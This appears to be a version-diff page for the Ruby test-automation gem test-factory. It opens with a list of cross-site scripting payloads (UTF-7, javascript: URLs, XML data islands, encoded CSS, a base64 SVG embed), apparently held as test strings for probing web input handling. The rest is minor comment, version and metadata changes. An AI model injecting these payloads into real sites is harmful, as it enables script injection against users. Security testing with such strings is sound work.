HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-", "<IMG SRC=javascript:alert('XSS')>", "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<XML ID=\"xss\"><I><B><IMG SRC=\"javas<!-- -->cript:alert('XSS')\"></B></I></XML> <SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>", "<DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\">", "<IMG SRC=javascript:alert('XSS')>", "';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>", "<HTML><BODY> <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"> <?import namespace=\"t\" implementation=\"#default#time2\"> <t:set attributeName=\"innerHTML\" to=\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\"> </BODY></HTML>", "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>"]
|
@@ -114,6 +123,7 @@ module StringFactory
|
|
114
123
|
end
|
115
124
|
|
116
125
|
# Returns a random hex string that matches an HTML color value.
|
126
|
+
#
|
117
127
|
def random_hex_color
|
118
128
|
"#"+("%06x" % (rand * 0xffffff)).upcase
|
119
129
|
end
|
@@ -122,6 +132,7 @@ module StringFactory
|
|
122
132
|
# @param text [String] The text to be converted to snake case.
|
123
133
|
# @example
|
124
134
|
# damballa("A String of Fun Stuff (for you)") => :a_string_of_fun_stuff_for_you
|
135
|
+
#
|
125
136
|
def self.damballa(text)
|
126
137
|
text.gsub(/([+=|\\\.~@#'"\?`!\{\}\[\]\$%\^&\*\(\)])/, "").
|
127
138
|
gsub(/([-\/\ ])/,"_").
|
data/test-factory.gemspec
CHANGED
@@ -1,6 +1,6 @@
|
|
1
1
|
spec = Gem::Specification.new do |s|
|
2
2
|
s.name = 'test-factory'
|
3
|
-
s.version = '0.2.
|
3
|
+
s.version = '0.2.1'
|
4
4
|
s.summary = %q{rSmart's framework for creating automated testing scripts}
|
5
5
|
s.description = %q{This gem provides a set of modules and methods to help quickly and DRYly create a test automation framework using Ruby and Watir (or watir-webdriver).}
|
6
6
|
s.files = Dir.glob("**/**/**")
|
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: test-factory
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.2.
|
4
|
+
version: 0.2.1
|
5
5
|
prerelease:
|
6
6
|
platform: ruby
|
7
7
|
authors:
|
@@ -9,7 +9,7 @@ authors:
|
|
9
9
|
autorequire:
|
10
10
|
bindir: bin
|
11
11
|
cert_chain: []
|
12
|
-
date: 2013-
|
12
|
+
date: 2013-02-08 00:00:00.000000000 Z
|
13
13
|
dependencies:
|
14
14
|
- !ruby/object:Gem::Dependency
|
15
15
|
name: watir-webdriver
|
@@ -47,7 +47,6 @@ files:
|
|
47
47
|
- lib/test-factory/string_factory.rb
|
48
48
|
- lib/test-factory.rb
|
49
49
|
- README.md
|
50
|
-
- test-factory-0.1.11.gem
|
51
50
|
- test-factory.gemspec
|
52
51
|
homepage: https://github.com/rSmart
|
53
52
|
licenses: []
|
data/test-factory-0.1.11.gem
DELETED
Binary file
|